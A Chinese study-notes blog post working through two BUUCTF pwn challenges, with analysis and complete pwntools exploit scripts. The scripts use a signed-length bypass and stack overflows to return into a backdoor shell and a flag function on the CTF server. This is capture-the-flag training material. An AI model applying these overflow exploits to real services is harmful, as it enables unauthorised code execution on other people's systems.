学习笔记:buuctf pwn题

1.bjdctf_2020_babystack:

先checksec一下:

64位,打开了NX保护。再用ida打开:

 可以发现read函数,存在栈溢出。

f12,查看字符串:

发现/bin/sh,存在后门函数backdoor:

 

再找到backdoor的地址:

  

然后就是nbytes的大小,因为在read函数里面nbytes会发送强转,所以先输入一个‘-1’,然后nbytes在read函数里面会变为一个很大的数字。再用栈溢出,获得shell。

获得flag:

 

代码:

from pwn import*

io = remote('node4.buuoj.cn',25870)

payload = b"-1"

io.recvuntil(b"[+]Please input the length of your name:")
io.sendline(payload)

payload = b'a'*(0x10+8) + p64(0x4006e6)

io.recvuntil(b"[+]What's u name?")
io.sendline(payload)

io.interactive()

2.get_started_3dsctf_2016:

先checksec一下:

32位,打开NX保护,用ida打开:

 发现gets函数,大概率是溢出。

f12,发现有一个flag.txt,进入函数:

看大佬的wp,知道了一些简单方法。 

 法1:

因为可以直接发现flag的地址:

 可以直接用gets的溢出,绕过第一个if,直接得到flag。但是只能用本地打通。

法2:

可以构造payload = ‘a'*字符数 + ebp + flag开始地址 + flag结束地址 + a1的地址 + a2的地址,

这里flag的结束地址用exit的地址,确保有回显。

代码:

from pwn import*

io = remote('node4.buuoj.cn',29906)

#'a'*offset + 'ebp' + flag_get + fanhuiflag_get + canshu1 + canshu2
payload = b'a'*0x38
payload += p32(0x80489a0) + p32(0x804e6a0)
payload += p32(0x308CD64F) + p32(0x195719D1)

io.sendline(payload)

io.interactive()

wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值